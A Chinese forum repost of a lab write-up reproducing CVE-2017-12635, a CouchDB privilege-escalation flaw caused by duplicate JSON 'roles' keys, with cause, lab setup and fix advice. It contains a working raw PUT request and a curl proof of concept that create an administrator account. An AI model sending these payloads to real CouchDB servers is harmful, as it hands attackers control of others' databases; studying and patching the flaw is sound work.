CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现

打印 上一主题 下一主题

主题 664|帖子 664|积分 1992

一、漏洞概述
Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
 
二、影响版本

  • 小于 1.7.0 以及小于 2.1.1
 
三、漏洞原理
  1.Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。——https://www.anquanke.com/post/id/87256
  2.那就意味着JavaScript在检测时,检测我们创建的用户“角色=0”。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。接下来在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是"roles": ["_admin"],所以创建出了具有admin权限的账户。——https://blog.csdn.net/qq_45813980/article/details/118654097
  3.扩展:PUT请求
 
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus
 
五、实验步骤
1.开启镜像环境,访问页面
  
 
2.构造PUT包,自己设置一个管理员账号登录
  1. 1 PUT /_users/org.couchdb.user:wavesky HTTP/1.1
  2. 2 Host: 192.168.117.131:27483/
  3. 3 Accept: /
  4. 4 Accept-Language: en
  5. 5 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. 6 Connection: close
  7. 7 Content-Type: application/json
  8. 8 Content-Length: 101
  9. 9
  10. 10 {
  11. 11 "type": "user",
  12. 12 "name": "wavesky",
  13. 13 "roles": ["_admin"],
  14. 14 "roles":[],
  15. 15 "password": "wavesky"
  16. 16 }
复制代码

3.访问http://192.168.117.131:27483/_utils,可以看到_user多了一个刚定义的拥有管理员权限的用户
 

 
六、修复建议
1.公网Apache CouchDB实例
  建议升级到最新版本。 使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
2.内网Apache CouchDB实例
  使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
——https://huskypower.blog.csdn.net/article/details/120880072?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&utm_relevant_index=2
3.加入dedupe_keys字段用于对重复键的标识,重写make_object方法,使得jiffy解析JSON的方法和JavaScript一致。——https://www.anquanke.com/post/id/87256
 
七、POC
  1. 1 curl -X PUT -d '{"type":"user","name":"wavesky","roles":["_admin"],"roles":[],"password":"wavesky"}' 192.168.117.131:27483/_users/org.couchdb.user:wavesky -H "Content-Type:application/json"
复制代码
 

来源:https://www.cnblogs.com/wavesky/p/16388931.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

怀念夏天

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表